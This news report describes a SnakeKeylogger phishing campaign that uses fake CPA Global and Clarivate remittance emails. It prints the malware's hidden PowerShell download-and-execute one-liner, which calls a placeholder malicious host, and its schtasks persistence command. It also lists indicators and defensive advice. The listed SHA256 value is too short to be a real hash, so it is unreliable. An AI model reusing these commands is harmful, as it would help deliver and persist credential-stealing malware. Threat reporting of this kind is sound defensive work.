Snake Keylogger Uses Weaponized Emails and PowerShell to Steal Sensitive Data

Overview of Recent SnakeKeylogger Campaign

An emerging information-stealing campaign has been identified, utilizing a covert variant of the SnakeKeylogger malware. This campaign is disseminated via emails posing as legitimate remittance advice from entities such as CPA Global and Clarivate.

On Tue, Oct 7, 2025, researchers detected the method of infection through emails labeled "remittance advice for the payment dated 07-Oct-2025." These emails urged recipients to download an attached ISO or ZIP file containing a malicious BAT script.

Analysis indicates that embedded PowerShell commands in the script are used to retrieve the SnakeKeylogger payload, execute it, and transmit stolen credentials to attacker-controlled servers.

The emails utilize spoofed sender aliases such as "CPA-Payment Files" and display names referring to CPA Global or Clarivate, enhancing the phishing scheme's apparent legitimacy. They include brief instructions for the recipient to review the attached payment advice, along with an image resembling a corporate letterhead.

The malicious attachment is either an ISO image or a compressed ZIP archive, both containing a single BAT script. Executing this script triggers a sequence of PowerShell commands that download and execute the SnakeKeylogger implant from a remote server.

The ISO format aids in bypassing basic ZIP-only scanning policies, and the dual-stage architecture complicates detection efforts.

Upon user interaction, the BAT script runs a PowerShell command to download the SnakeKeylogger executable ( loader.exe ) to a temporary directory and execute it:

powershell @echo off powershell -NoProfile -WindowStyle Hidden -Command "$u='http://malicious[.]domain/loader.exe';$p='$env:TEMP\update.exe';Invoke-WebRequest -Uri $u -OutFile $p;Start-Process $p"

This operation occurs with minimal visual indicators, capturing credentials and session tokens by hooking into browser processes and keylogging APIs.

SnakeKeylogger uses Windows API calls to inject into legitimate processes like explorer.exe or svchost.exe , further evading endpoint protection measures.

Data Exfiltration and Persistence Mechanisms

After collecting keystrokes and clipboard data, SnakeKeylogger compresses the logs and sends them via HTTP POST requests to a compromised server. The traffic seems legitimate due to standard HTTP user-agents and base64 encoding.

Persistence is achieved by creating a scheduled task named "SysUpdate," set to trigger hourly:

powershell schtasks /Create /TN "SysUpdate" /TR "%TEMP%\update.exe" /SC HOURLY /F

Multiple subdomains are registered for fallback connectivity, ensuring high availability of the command-and-control infrastructure.

Security teams should look for the following Indicators of Compromise (IoCs):

Indicator Type Value

Malicious domain malicious.domain SHA256 (loader.exe) 9f3c2a5b4d6e8f12c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8 Scheduled task name SysUpdate PowerShell one-liner flag -NoProfile -WindowStyle Hidden -Command Phishing sender alias CPA-Payment Files

Blocking these domains, hash values, and scheduled tasks at both perimeter and endpoint levels is advised.

Enhance user awareness regarding payment-related emails. Implement strong attachment-sandboxing policies. Utilize behavior-based detection to identify malicious process injection and data exfiltration activities. Monitor scheduled tasks and network egress points to detect and mitigate threats promptly.

Email filtering solutions should enforce stricter ISO file inspections, and endpoint protection platforms must detect anomalous process injections and unsanctioned scheduled tasks.

Based on reporting by GBHackers.